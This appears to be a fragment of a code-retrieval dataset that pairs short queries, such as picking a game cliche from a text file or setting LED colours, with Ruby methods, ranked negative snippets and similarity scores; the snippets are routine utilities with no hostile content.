"def test_start_auction_to_one_server_should_replicate\n reset(REP_SERVERS)\n server1, server2, server3 = REP_SERVERS\n name = \"gau2\"\n \n do_rest(server1, :start_auction, {name: name, end_time: Time.now.to_i + 3})\n do_rest(server1, :bid, {name: name, client:1, bid:100})\n res = do_rest(server1, :status, {name: name})\n assert_equal(\"1\", res.strip)\n\n res = do_rest(server2, :status, {name: name})\n assert_equal(\"1\", res.strip)\n res = do_rest(server3, :status, {name: name})\n assert_equal(\"1\", res.strip)\n end",
"def api_server\n @api_server ||= NewRelic::Control::Server.new(Agent.config[:api_host], Agent.config[:api_port])\n end",
"def proxy(remote, options = {})\n server = create_server(options)\n host, port, extra = remote.split(\":\", 3)\n raise \"Specify the remote parameter in 'hostname_or_ip:port' format\" if extra || port.to_i == 0 || host.empty?\n Reactor.queue_task do\n monitor = Reactor.selector.register(server, :r)\n monitor.value = proc do\n accept_socket server, options do |client|\n srv = open_socket \"tcp://#{remote}\", options\n adapter = PROXY_ADAPTER.new(srv, client, options)\n Reactor.queue_task do\n adapter.add_to_reactor\n end\n logger.info \"Proxy connection established between #{srv} and #{client}\"\n end\n end\n end\n logger.info \"Proxy Host listening for new connections on port \" + options[:port].to_s\n Reactor.start\n server\n end",
"def http_proxy(addr=nil, port = nil)\n default_options[:http_proxyaddr] = addr\n default_options[:http_proxyport] = port\n end",
"def http\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\n end",
"def connect\n #@connection = Mongo::Connection.new(, @port, :pool_size => 5)\n @connection = Mongo::Client.new([ \"#{@host}:#{@port}\" ], :database => @dbname)\n @collection = @connection[@collname]\n @collection.drop\n @collection.indexes.create_one({ loc: \"2dsphere\" }, { min: -200, max: 200 })\n end",
"def proxy_google(path)\n res = Net::HTTP.start('www.google.com', 80) do |http|\n http.get path\n end\n res.body\nend",
"def spice_proxy_url\n @conn.spice_proxy_url\n end",
"def establish_connection_with_server\n\t $game_client = GameClient.new\n $scene = Scene_Pong_Client.new\n end",
"def server_host\n AgileProxy.config.server_host\n end",
"def start_proxy\n if !proxy.running?\n Kernel.at_exit do\n proxy.stop\n end\n end\n Socks.enable_net_http_socks_proxy\n proxy.start\n end"
] | [
"0.6663332",
"0.6392823",
"0.63490814",
"0.63107526",
"0.6228371",
"0.6129923",
"0.6128783",
"0.6126886",
"0.5989413",
"0.5989413",
"0.5989413",
"0.59859174",
"0.5967109",
"0.5920627",
"0.59042215",
"0.58757436",
"0.58522743",
"0.58055454",
"0.5796844",
"0.5793429",
"0.57528776",
"0.5739558",
"0.56831527",
"0.56828594",
"0.5668388",
"0.5662546",
"0.56354785",
"0.56354785",
"0.5633831",
"0.56248164",
"0.5613877",
"0.56129444",
"0.5571907",
"0.5566533",
"0.5557647",
"0.5530681",
"0.5521813",
"0.5521813",
"0.5520188",
"0.55154777",
"0.5514634",
"0.5500843",
"0.54940146",
"0.54940146",
"0.54907507",
"0.5485648",
"0.547638",
"0.5437834",
"0.5432981",
"0.5428562",
"0.5428368",
"0.5427987",
"0.5427826",
"0.5418732",
"0.5412982",
"0.5412902",
"0.5405568",
"0.5352417",
"0.5344049",
"0.53435665",
"0.5342381",
"0.533066",
"0.5326985",
"0.53251195",
"0.5307395",
"0.530262",
"0.52974606",
"0.5296365",
"0.529553",
"0.52942455",
"0.52896476",
"0.5286018",
"0.5282471",
"0.5280288",
"0.52766293",
"0.5274742",
"0.5274742",
"0.527371",
"0.52733624",
"0.5270953",
"0.5269587",
"0.5266878",
"0.52656007",
"0.52647793",
"0.5258918",
"0.5257386",
"0.5254149",
"0.52346987",
"0.5234651",
"0.5227641",
"0.52209634",
"0.5198942",
"0.5194487",
"0.51927644",
"0.51831913",
"0.5178025",
"0.5169555",
"0.5164039",
"0.51609445",
"0.51486987"
] | 0.54683876 | 47 |
should this take a list of 'red' etc and look up the colours? | def set colours
colours.each_with_index do |colour, i|
fixed_colour = colour.map { |c| GAMMA[c] }
rings[i] = PixelPi::Color *fixed_colour
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def colors() = @colors ||= %i[blue green purple magenta cyan yellow red]",
"def getColor(c)\n if c == \"r\" then return :red\n elsif c == \"b\" then return :blue\n elsif c == \"g\" then return :green\n elsif c == \"y\" then return :yellow\n elsif c == \"c\" then return :cyan\n elsif c == \"m\" then return :magenta\n end\nend",
"def see_color(str)\n return 'red' if str.start_with?('red')\n return 'blue' if str.start_with?('blue')\n\n ''\n end",
"def possible_colors\n %w(R G B Y)\n end",
"def colorNames\n colors = [\"red\", \"orange\", \"yellow\", \"green\", \"mint\", \"navy\", \"light blue\", \"lavender\", \"plum\", \"pink\"]; \n return colors;\n end",
"def color(*values); end",
"def color(*values); end",
"def context_list_colors(pattern = nil)\n if pattern == nil\n return $gimp_iface.ggimp_rgb_list()[1]\n elsif pattern.is_a? String\n names = $gimp_iface.ggimp_rgb_list()[1]\n names.select!{|element| element.include?(pattern)}\n return names\n else\n raise ArgumentError, \"context_list_color_names only accepts a string as an argument\"\n end\nend",
"def scan_for_colors; end",
"def values\n [@red, @green, @blue]\n end",
"def colorsPrimary\n @color_rgb_strings_primary = []\n @color_rgb.each do |rgb|\n r = rgb[\"red\"]\n g = rgb[\"green\"]\n b = rgb[\"blue\"]\n @color_rgb_strings_primary << \"rgb(#{r},#{g},#{b})\"\n end\n end",
"def colors\n color_codes.keys\n end",
"def colors_redish\n {\n :fillColor => '#ff4949',\n :strokeColor => '#365470',\n :pointColor => '#f7f7f1',\n :pointStrokeColor => '#fff'\n }\n end",
"def shades_of_green value\n #Bunch of shades\n shades = %w( 00FF00 00F800 00F000 00E800 00E000 00D800 00D000 00C800 00C000 00B800 00B000 00A800 00A000 009800 009000 008800 008000 007800 007000 006800 006000 005800 005000 004800 004000 003800 003000 002800 002000 )\n\n #Fewer of shades\n #shades = %w( 00FF00 00D800 00B000 008800 006000 003800 )\n\n #scale the 'value' to an index in the array and display the color\n #the min/max ensure the value is within the range\n index = [ [shades.length * value / 100, 0].max, shades.length - 1].min\n return shades[index]\n end",
"def colors; end",
"def getColor(colorname)\n# @color = { \"white\" => assignColor256(\"white\",255,255,255),\n# \"black\" => assignColor256(\"black\",0,0,0),\n# \"orange\" => assignColor256(\"orange\",255,0,0),\n# \"red\" => assignColor256(\"red\",0,255,0),\n# \"blue\" => assignColor256(\"blue\",0,0,255),\n# \"grey\" => assignColor256(\"grey\",120,120,120),\n# } ;\n col = @color[colorname] ;\n if(col.nil?) then\n f = File::new(RGBFILE) ;\n rval = -1 ; gval = -1 ; bval = -1 ;\n while(entry = f.gets)\n\tentry.strip! ;\n\trstr,gstr,bstr,name = entry.split ;\n\tif(name == colorname) then\n\t rval = rstr.to_i * 256 ;\n\t gval = gstr.to_i * 256 ;\n\t bval = bstr.to_i * 256 ;\n\t break ;\n\tend\n end\n if(rval < 0) then\n\tif(colorname =~ /^\\#([0-9a-fA-F][0-9a-fA-F])([0-9a-fA-F][0-9a-fA-F])([0-9a-fA-F][0-9a-fA-F])$/) then\n\t rstr = $1 ; gstr = $2 ; bstr = $3 ;\n\t rval = rstr.hex * 256 ; \n\t gval = gstr.hex * 256 ; \n\t bval = bstr.hex * 256 ; \n\telse\n\t $stderr << \"unknown color name:\" << colorname << \"\\n\" ;\n\tend\n end\n col = assignColor(colorname,rval,gval,bval) ;\n end\n return col ;\n end",
"def rgb_color\n [self.color_red, self.color_green, self.color_blue]\n end",
"def rgb_like_value(red, green, blue, use_bright = false)\n color_pool = RGB_COLORS_ANSI.values\n color_pool += RGB_COLORS_ANSI_BRIGHT.values if use_bright\n\n ansi_color_rgb = color_pool.min_by{ |col| distance([red, green, blue],col) }\n key_method = RUBY_VERSION < \"1.9\" ? :index : :key\n if ansi_color = RGB_COLORS_ANSI.send(key_method, ansi_color_rgb)\n ANSI_COLORS[ansi_color]\n else\n ansi_color = RGB_COLORS_ANSI_BRIGHT.send(key_method, ansi_color_rgb)\n \"#{ANSI_COLORS[ansi_color]};1\"\n end\n end",
"def get_colour(temps)\n\tcolours = []\n\ttemps.each do |temp|\n\t\tif temp <= 15\n\t\t\tcolours << :blue\n\t\telsif temp <= 28\n\t\t\tcolours << :green\n\t\telsif temp >= 29\n\t\t\tcolours << :red\n\t\tend\n\tend\n\tcolours\nend",
"def colors_from_hash(match, hash); end",
"def colors_from_params(match, params); end",
"def colorQuest(color)\n color = color.downcase if color\n return \"7DC076EF\" if color == \"blue\"\n return \"089D5EBF\" if color == \"red\"\n return \"26CC4B56\" if color == \"green\"\n return \"6F697395\" if color == \"cyan\"\n return \"5CFA729D\" if color == \"magenta\"\n return \"135D47BF\" if color == \"yellow\"\n return \"56946F5A\" if color == \"gray\"\n return \"7FDE6B39\" if color == \"white\"\n return \"751272B7\" if color == \"purple\"\n return \"0E7F4F3F\" if color == \"orange\"\n return \"2D4A5694\" # Returns the default dark gray color if all other options are exhausted\nend",
"def much_green?(colors) ; colors[1] > 200 ; end",
"def code(*colors)\n validate(*colors)\n colors.map { |color| lookup(color) }\n end",
"def aqi_range_colors\n { 0..50 => :green,\n 51..100 => :yellow,\n 101..150 => :orange,\n 151..200 => :red,\n 201..300 => :purple,\n 301..999 => :pink }\n end",
"def red\n colorize(31)\n end",
"def color_map\n {\n 'high_risk_ice_check_in' => '#800080',\n 'friend_in_detention' => '#e83737',\n }\n end",
"def find_color_codes\n color_codes.uniq(&:numeric_code)\n end",
"def red\n hsl_to_rgb!\n @attrs[:red]\n end",
"def red\n hsl_to_rgb!\n @attrs[:red]\n end",
"def product_colors(product)\n return product.color.split(',').map(&:to_s)\n end",
"def color_rgb\n return nil if self.color_red.blank? || self.color_green.blank? || self.color_blue.blank?\n [self.color_red, self.color_green, self.color_blue]\n end",
"def get_color_list_name\n\t\t@availible_colors.keys[0]\n\tend",
"def team_colors(t_name)\n game_hash.collect do |key, value|\n value.collect do |key2, value2|\n\n if game_hash[key].values.include?(t_name)\n\n if key2 == :colors\n return value2\n end\n end\n end\n end\n end",
"def stopped_failed_colors\n { :light => \"F5D9C9\".to_color, :medium => \"F2F2E9\".to_color, :strong => \"AF3A00\".to_color }\n end",
"def computer_color\n\t valid_colors = [\"r\", \"y\", \"b\", \"w\", \"c\", \"g\"] \n\t return [valid_colors[rand(0..5)],valid_colors[rand(0..5)], valid_colors[rand(0..5)], valid_colors[rand(0..5)]]\n\tend",
"def color\n @color ||= COLORS[label.length%COLORS.length].to_sym\n end",
"def check_inside_Colors (string)\n Colors.include?(string)\n end",
"def team_colors(arg_team_name)\n infoAboutAsingleTeam = find_a_single_team_based_on_name(arg_team_name)\n infoAboutASingleTeam[1][:colors]\n #the above is the implicit returnand find will always return an array of 2\n #and you can uise the index to find a color \n #if you dont know the index THEN its okay to write an if statement to check if its the index that you are at\n\n binding.pry\nend",
"def colors\n colors = []\n @lines.each do |line|\n color = line.scan(/\\d{1,3},\\d{1,3},\\d{1,3}/).first\n next if color.blank?\n color = color.split(',')\n colors << rgb(color[0].to_i, color[1].to_i, color[2].to_i)\n end\n colors\n end",
"def colors\n keys = []\n COLORS.each_key do |key|\n keys << key\n end\n keys\n end",
"def colored\n reparse\n parsed_colors[:string].apply_colors(parsed_colors[:colors])\n end",
"def html_colors(total)\n all_colors = [\"FF0000\", \"00FF00\", \"0000FF\", \"00FFFF\", \"FF00FF\", \"FFFF00\", \"000000\"]\n #return [] if total > all_colors.length\n return Array.new(total){|i| all_colors[i]}\n end",
"def colors\n @wmiiconfig.read(\"/bar/#{@name}/colors\").split(/\\s+/).map do |txt|\n txt.scan(/[a-fA-F0-9]{2}/).map{|hex| hex.to_i(16)}\n end\n end",
"def team_colors (team_name)\n lookup_by_team(team_name)[:colors];\nend",
"def colors(warm, cool)\n puts \"#{warm} is a contrast color to #{cool}\"\nend",
"def colors\n keys = []\n COLORS.each_key do | key |\n keys << key\n end\n keys\n end",
"def get_col_colors\n col_colors = Hash.new \n col_colors[:throwing] = '#ccffff'\n col_colors[:hitting] = '#ffcccc'\n col_colors[:running] = '#ccccff'\n col_colors[:fielding] = '#ccffcc'\n col_colors[:none] = '#eeeeee'\n col_colors[:fundamentals] = '#C1C1C0'\n col_colors[:experience] = '#969696'\n col_colors\n end",
"def colors\n hex_values = @lines.map { |line| line[/#([0-9A-F]{6})/, 1] }.compact\n hex_values.map { |hex| Colour::RGB.from_html(hex) }\n end",
"def parse_colors\n working = dup\n color_array = []\n\n scan(/(?<!\\\\)(%((?:[fb]g?)?#[a-fA-F0-9]{6}|[a-z]+))/).each do |color|\n valid_color = color[1].validate_color\n next unless valid_color\n\n idx = working.match(/(?<!\\\\)%#{valid_color}/).begin(0)\n color = Color.attributes.include?(valid_color.to_sym) ? Color.send(valid_color) : Color.rgb(valid_color)\n color_array.push({ name: valid_color, color: color, index: idx })\n working.sub!(/(?<!\\\\)%#{valid_color}/, '')\n end\n\n { string: working, colors: color_array }\n end",
"def rgb_style(string)\n pastel = Pastel.new\n styled_rgb = pastel.red(\"#{string[0]}\") + pastel.green(\"#{string[1]}\") + pastel.blue(\"#{string[2]}\")\n return styled_rgb\nend",
"def get_red_scala n\n colors = []\n r = 255; g = 0; b = 0\n max = 255\n\n # se inicia la escala con el r mas fuerte y se añade g y b por igual cantidad hasta llegar al blanco\n for i in 1..n\n g = b = (i*(max/n)).round\n colors << rgb(r, g, b)\n end\n\n #se entrega la escala de blanco a rojo\n colors.reverse\n end",
"def color_valid3(color)\n color == \"blue\" || color == \"green\"\nend",
"def joining_criteria_report_color_for(value)\r\n\r\ncolors = Faveod::DistributedColors.n_colors(2)\r\ncase value\r\nwhen \"AND - matching all criteria\", 1\r\n return colors[0]\r\nwhen \"OR - matching one of the criteria\", 2\r\n return colors[1]\r\nend\r\nend",
"def color_codes\n {\n :black => 0, :light_black => 60,\n :red => 1, :light_red => 61,\n :green => 2, :light_green => 62,\n :yellow => 3, :light_yellow => 63,\n :blue => 4, :light_blue => 64,\n :magenta => 5, :light_magenta => 65,\n :cyan => 6, :light_cyan => 66,\n :white => 7, :light_white => 67,\n :default => 9\n }\n end",
"def list_colors\n color_string = \"\\nThe available colors are \"\n COLORS.each_with_index do |color, index|\n if index%2 == 0\n color_string += \"\\n\"\n end\n color_string += color + \" \"\n end\n puts color_string\n end",
"def color_from_symbol(match, symbol); end",
"def colors_greenish\n {\n :fillColor => '#47a718',\n :strokeColor => '#365470',\n :pointColor => '#f7f7f1',\n :pointStrokeColor => '#fff'\n }\n end",
"def color(color); end",
"def get_color(string)\n\tif $colors[string].nil?\n\t\t$colors[string] = $Colorfmt % $color\n unless $same_color\n $color += 1 \n end\n\tend\n\t$colors[string]\nend",
"def display_color_index\n require_color_echo_get\n\n CE.rainbow\n cnt = 134\n @padding = \" \" * 2\n\n header = \"OK, Let me check color index list... :)\"\n mes = CE.rainbow.get(@padding + \"-\" * cnt) + $/\n mes += @padding + \" \" * ((cnt - header.size)/2) + CE.rainbow.get(header) + $/\n mes += CE.rainbow.get(@padding + \"-\" * cnt) + $/\n\n mes += @padding\n 256.times do |i|\n num = i + 1\n mes += CE.fg(\"index#{num}\".intern).get(\"index#{num}\" + \" \" * (4 - num.to_s.size))\n mes += CE.bg(\"index#{num}\".intern).get(\" \" * 5)\n mes += \" \" * 3\n\n if num % 8 == 0\n mes += $/ * 2\n mes += @padding if num != 256\n end\n end\n print mes \n\n exit 0\nend",
"def color( string, *colors )\n colors.map! { |color|\n color_tag = to_key(color)\n @scheme.key?(color_tag) ? @scheme[color_tag] : to_constant(color)\n }\n\n colors.compact!\n return string if colors.empty?\n\n \"#{colors.join}#{string}#{CLEAR}\"\n end",
"def color_valid(color)\r\n color == \"blue\" || color == \"green\"\r\nend",
"def red\n colorize(:red)\nend",
"def colors\n return\n end",
"def colors\n @colors ||= parse_colors(color_properties)\n end",
"def get_color\n @colors.each {\n |key, val| \n (val[:set] = true; return val[:syn]) unless val[:set]\n }\n DEFAULT_COLOR\n end",
"def color_valid\n color == \"blue\" || color == \"green\"\n end",
"def team_colors(teamName)\n teamSelect(teamName)[:colors]\n\n end",
"def [](index)\r\n @colours[index]\r\n end",
"def get_green_to_red_scala n\n colors = []\n r = 0; g = 150; b = 0\n max = 255\n\n #se empieza en un g oscuro en 150 y se aclarece añadiendo g hasta 255\n #ni = numero iteraciones\n ni = (1*n/3)\n for i in 1..(1*n/3.to_f).floor\n g = 150 + (i*(max - 150)/ni.to_f).floor\n colors << rgb(r, g, b)\n end\n\n #una vez g esta en 255 se añade r desde 150 hasta 255 hasta llegar a amarillo\n #ni = numero iteraciones\n g = 255\n ni = 1 + (2*n/3.to_f).floor - (1*n/3.to_f).ceil\n for j in (1*n/3.to_f).ceil..(2*n/3.to_f).floor\n i = j - (1*n/3.to_f).ceil + 1\n r = 150 + (i*(max - 150)/ni.to_f).floor\n colors << rgb(r, g, b)\n end\n\n #una vez g y r estan en 255 se quita g hasta 0 hasta llegar a rojo\n #ni = numero iteraciones\n g = r = 255\n ni = 1 + n - (2*n/3.to_f).ceil\n for i in (2*n/3.to_f).ceil..n\n g = ((n - i)*(max/ni.to_f)).floor\n colors << rgb(r, g, b)\n end\n\n #se entrega la escala de verde a rojo\n colors\n end",
"def similar_color(param)\n r, g, b = case param\n when Array\n param\n when /#?([0-9a-fA-F]{2})([0-9a-fA-F]{2})([0-9a-fA-F]{2})/\n $~.values_at(1, 2, 3).map{|s| s.to_i(16)}\n else\n raise \"unknown parameter: #{param}\"\n end\n\n rgb(*ColorfulDays.similar_rgb(r, g, b))\n end",
"def team_colors(team_name)\n # returns an array of team colors for team_name\n game_hash.each do |location, team_hash|\n team_hash.each do |team_keys, team_values|\n if team_hash[:team_name] == team_name && team_keys == :colors\n return team_values\n end\n end\n end\n end",
"def correct_color?(array)\n @correct_colors = array & $code_strings\n end",
"def palette_rgb_color\n [self.palette_red, self.palette_green, self.palette_blue]\n end",
"def color_valid_simple(color)\n color == \"blue\" || color == \"green\"\nend",
"def team_colors(team_name)\n game_hash.each do |location, team_data|\n\t\tif team_data[:team_name] == team_name\n\t\t\treturn team_data[:colors]\n\t\tend\n\tend\nend",
"def color(*options)\n mix = []\n color_seen = false\n\n if options.empty?\n mix << random(false) # random foreground color\n else\n options.each{ |option|\n case option\n when Symbol\n if ANSI_EFFECTS.keys.include?(option)\n mix << effect(option)\n elsif ANSI_COLORS.keys.include?(option)\n mix << simple(option, color_seen)\n color_seen = true\n else\n raise ArgumentError, \"Unknown color or effect: #{ option }\"\n end\n\n when Array\n if option.size == 3 && option.all?{ |n| n.is_a? Numeric }\n mix << rgb(*(option + [color_seen])) # 1.8 workaround\n color_seen = true\n else\n raise ArgumentError, \"Array argument must contain 3 numerals\"\n end\n\n when ::String\n if option =~ /^#?(?:[0-9a-f]{3}){1,2}$/\n mix << hex(option, color_seen)\n color_seen = true\n else\n mix << name(option, color_seen)\n color_seen = true\n end\n\n when Numeric\n integer = option.to_i\n color_seen = true if (30..49).include?(integer)\n mix << integer\n\n when nil\n color_seen = true\n \n else\n raise ArgumentError, \"Invalid argument: #{ option.inspect }\"\n\n end\n }\n end\n\n wrap(*mix)\n end",
"def color_valid\n color == \"blue\" || color == \"green\"\nend",
"def interpret(num) \n case num\n when 0\n \"red\"\n when 1\n \"blue\"\n when 2\n \"green\"\n when 3\n \"yellow\"\n when 4\n \"black\"\n when 5\n \"white\" \n end\n end",
"def display_rainbow(color_lists)\n puts \"R: #{color_lists[0]}, O: #{color_lists[1]}, Y: #{color_lists[2]}, G: #{color_lists[3]}, B: #{color_lists[4]}, I: #{color_lists[5]}, V: #{color_lists[6]}\"\nend",
"def color_vavid(color)\n color == \"blue\" || color == \"green\"\nend",
"def team_colors(team)\n \n data = game_hash\n teams = team_name_stats(data)\n \n teams.each_pair do |team_name, team_hash|\n if team_name == team\n team_hash.each_pair do |team_key, team_value|\n if team_key == :colors\n return team_value\n end\n end\n end\n end\n \n nil \nend",
"def red(string)\n colorize(string, 31)\n end",
"def color\n fetch('creature.bird.colors')\n end",
"def getcolors(gridrow)\n AnsiColor.block(usecolor) do\n return normal, normal\n end\n end",
"def color_valid_test(color)\n color == \"blue\" || color == \"green\"\nend",
"def red(text)\n colorize(text, 31)\nend",
"def qualified_color(candidates)\n candidates.each do |candidate| \n if experience?(candidate) && languages?(candidate) && last_15_days?(candidate) && over_17?(candidate)\n puts candidate.to_s.green\n else\n puts candidate.to_s.red\n end\n end\nend",
"def color_valid(color)\n %w[blue green].any? { |c| c == color }\n #color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend",
"def color_valid(color)\n color == \"blue\" || color == \"green\"\nend"
] | [
"0.73149836",
"0.70366913",
"0.70128655",
"0.69800335",
"0.6907872",
"0.68729234",
"0.68729234",
"0.6813431",
"0.6812007",
"0.67940795",
"0.6714879",
"0.66767114",
"0.66204363",
"0.6592053",
"0.65894055",
"0.6570208",
"0.6536134",
"0.6531635",
"0.65295815",
"0.65161973",
"0.650048",
"0.6475966",
"0.6435205",
"0.6410785",
"0.64012396",
"0.6383923",
"0.6380267",
"0.63574445",
"0.6321204",
"0.6321204",
"0.63157445",
"0.63082135",
"0.6294619",
"0.62882835",
"0.62703514",
"0.6268998",
"0.625886",
"0.6237578",
"0.6233674",
"0.62148696",
"0.62126",
"0.6212365",
"0.62117714",
"0.6197429",
"0.6197292",
"0.61968666",
"0.6194816",
"0.6189612",
"0.6186988",
"0.6178611",
"0.6173705",
"0.61710554",
"0.61628026",
"0.61590916",
"0.61568666",
"0.61540246",
"0.61479974",
"0.6140305",
"0.6125582",
"0.6117061",
"0.6110787",
"0.61013854",
"0.61010295",
"0.6099452",
"0.6095099",
"0.60907763",
"0.60794306",
"0.6079358",
"0.60764104",
"0.6073721",
"0.607319",
"0.6072173",
"0.60694396",
"0.60683215",
"0.6067847",
"0.60673684",
"0.6063995",
"0.6063457",
"0.60582733",
"0.60576075",
"0.6056602",
"0.6055261",
"0.6050639",
"0.60404384",
"0.6030459",
"0.60292274",
"0.60281295",
"0.6025947",
"0.60204047",
"0.6017461",
"0.60157245",
"0.60157245",
"0.60157245",
"0.60157245",
"0.60157245",
"0.60157245",
"0.60157245",
"0.60157245",
"0.60157245",
"0.60157245",
"0.60157245"
] | 0.0 | -1 |
This gets a game cliche from a list of cliches in a text file | def get_game_cliche
#initialize variable
chosen_line = nil
#Get the cliche
File.foreach("game_cliches.txt").each_with_index do |line, number|
chosen_line = line if rand < 1.0/(number+1)
end
return chosen_line.chomp
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def from_file(file)\n file_lines_array = File.readlines(file)\n file_characters_array = []\n file_lines_array.each do |line|\n file_characters_array << line\n end\n file_characters_array.map! do |character|\n character = @dictionary[character]\n end\n morse_code = file_characters_array.join(\"\")\n puts morse_code\n end",
"def readfile(file=\"SCC.txt\")\n\tg = Graph.new\n\tFile.open(file, \"r\") do |infile|\n\t\twhile (line = infile.gets)\n\t\t\tverts = line.split\n\t\t\tg.add_edge(verts[0], verts[1])\n\t\tend\n\tend\n\treturn g\nend",
"def get_characters\n File.readlines('characters.data').each do |line|\n d = line.split(',').map(&:strip)\n Character.create(name: d[0], publisher: d[1])\n end\nend",
"def get_characters\n File.readlines('characters.data').each do |line|\n d = line.split(',').map(&:strip)\n Character.create(name: d[0], publisher: d[1])\n end\nend",
"def get_game_genre\n\t\t#initialize variable\n\t\tchosen_line = nil\n\t\t\n\t\t#Get the cliche\n\t\tFile.foreach(\"game_genres.txt\").each_with_index do |line, number|\n\t\t\tchosen_line = line if rand < 1.0/(number+1)\n\t\tend\n\t\t\n\n\treturn chosen_line.chomp\n\tend",
"def read_generator\n file = File.open(\"./lib/deck_of_cards.txt\")\n file_data = file.readlines.map(&:chomp)\n file.close\n file_data\n end",
"def cards\n # Open and iterate on file contents to create individual cards, closes automatically\n File.open(filename, 'r') do |file|\n file.readlines.map do |line|\n question, answer, category = line.chomp.split(',')\n Card.new(question, answer, category.to_sym)\n end\n end\n end",
"def concordance(infile_name)\n @hash.clear\n line_number = 1\n File.readlines(infile_name).each do |line|\n words = wordify line\n word_number = 1\n words.each do |word|\n @hash[word] = [] if @hash[word].nil?\n @hash[word] << ConcordanceTuple.new(line_number, word_number)\n word_number += 1\n end\n line_number += 1\n end\n end",
"def import\n print 'Import filename: '\n $stdout.flush\n file = gets.chomp\n fd = File.new(file, \"r\")\n itecky = file.rindex('.')\n raise 'missing dot in filename' if itecky == nil\n fname = file[0,itecky]\n fname.upcase!\n puts\n fd.each do\n |row|\n if row.strip.length == 0 or row[0,1] == '*' or row[0,1] == '#'\n next\n end\n row.chomp!\n items = row.split # deleni row na polozky oddelene mezerou\n nitems = items.length # pocet polozek\n raise \"only one word on the line\\n[#{row}]\" if nitems == 1\n if nitems == 2 # slovicka bez oddelovaci carky\n en = items[0]\n cz = items[1]\n else # slovicka a fraze s oddelovaci carkou\n i = row.index(' - ') # oddelovac anglickeho a ceskeho vyrazu\n raise \"missing ' - ' between English and Czech phrases\\n[#{row}]\" if i == nil\n en = row[0,i+1].strip # prvni cast radku - anglicka\n cz = row[i+3..-1].strip # druha cast radku - ceska\n end\n flag = false\n for iw in 0 ... $words.length do\n if $words[iw].fname == fname and\n ($words[iw].english == en or $words[iw].czech == cz) then\n flag = true\n break\n end\n end\n if flag == true then next end\n $words << Word.new(fname,0,0,en,cz)\n w = konverze($words.last.english + ' | ' + $words.last.czech)\n puts w\n end\n puts\n $stdout.flush\nend",
"def candyList\n\t\t['sweet1.png','sweet2.png','sweet3.png','sweet4.png','sweet5.png','sweet6.png','sweet7.png','sweet8.png']\n\tend",
"def initialize(file)\n @data = []\n @breakdown = []\n File.open(file).each do |l|\n l.strip!\n @data.push l\n # Split the data points into the component elements\n first, second = l.chars.each_slice(l.length / 2).map(&:join)\n puts \"#{first} - #{second}\" if @@debug\n # Store the elements for later\n @breakdown.push [first, second]\n end\n end",
"def main\n c=[]\n File.open(CLUSTERS,'r').each {|line| c << line.chomp.split(\"\\t\") unless (line.include?(\"Cr\") || line.include?(\"Ct\"))}\n gtf=positions\n process(c,gtf)\n printlabels(gtf)\nend",
"def identify_craft_in campaign_name\n dir = File.join(self.path, \"saves\", campaign_name, \"Ships\")\n Dir.chdir(dir)\n {\n :vab => Dir.glob(\"VAB/*.craft\").map{|craft| craft.gsub(\"VAB/\", \"\")}, \n :sph => Dir.glob(\"SPH/*.craft\").map{|craft| craft.gsub(\"SPH/\", \"\")}\n }\n end",
"def load_words\n File.read(\"../scrabble word cheat/words.txt\").split(\"\\n\")\nend",
"def load_from_file(filename,clean)\n\t\tbegin\n\t\t\t@clusters = []\n\t\t\t@items = []\n\t\t\t\n\t\t\traise IOError.new(\"#{filename} not found\") if not File.exists?(filename)\n\t\t\t\n\t\t\tIO.foreach(filename) do |line|\n\t\t\t\tlabel, items = *line.split(\":\",2).map { |x| x.strip }\n\t\t\t\titems = items.split(\" \").map { |x| (x.respond_to?(:to_sym) and not x.to_sym.nil?) ? x.to_sym : x }\n\t\t\t\titems = items - @items if clean\n\t\t\t\tif items.size > 0\n\t\t\t\t\titems.reject! { |x| @items.include?(x) }\n\t\t\t\t\tcluster = Cluster.new(items,label)\n\t\t\t\t\t@items = @items | cluster.items\n\t\t\t\t\[email protected] cluster\n\t\t\t\tend\n\t\t\tend\n\t\trescue IOError\n\t\t\traise $!\n\t\tend\n\tend",
"def define_word_CEDICT(word)\n @cedict = 'cedict.txt'\n @word_matches = File.readlines(@cedict).grep(/#{word}/)\n\n @best_match = []\n\n @word_matches.each do |x|\n # CEDICT lists simplified and traditional characters, space delimited\n # 学 = \"學 学 [xue2] /to learn/to study/science/-ology/\"\n @match = x.split\n\n if @match[0] == word || @match[1] == word\n @best_match << x\n end\n end\n\n return @best_match\n end",
"def load(filename)\n data = Array.new\n f = File.new(filename, \"r\")\n while (line = f.gets())\n nums = line.split(\" \")\n w = Array.new\n p = Array.new\n cnt = 0\n for i in (0..nums.at(1).to_i-1)\n #w.push(bin_round(nums.at(3+2*i).to_i, $roundbits)) #pro aprox alg.\n w.push(nums.at(3+2*i).to_i)\n p.push(nums.at(4+2*i).to_i)\n cnt += 1\n end\n data.push(Batoh.new(w, p, nums.at(2).to_i, Array.new(cnt, 0))) #inverzni pro DP\n end\n #pp data.to_s\n return data\nend",
"def generate_words\n ret = []\n\n File.open('enable.txt').each do |line|\n new_line = line\n # We don't care for the new line character in the game of hangman.\n new_line = new_line.delete(\"\\n\")\n ret << new_line\n end\n\n return ret\nend",
"def new_game\n dictonary = File.new('dictonary.txt', 'r')\n cleaned_dictonary = dictonary.readlines(chomp: true).select { |word| word.length >= 5 && word.length <= 12 }\n dictonary.close\n word = cleaned_dictonary.sample\n set_up_game(word, '_' * word.length)\n end",
"def pick_word\n @dictionary = File.readlines('dictionary.txt').map(&:chomp)\n @computer_word = @dictionary.sample\n end",
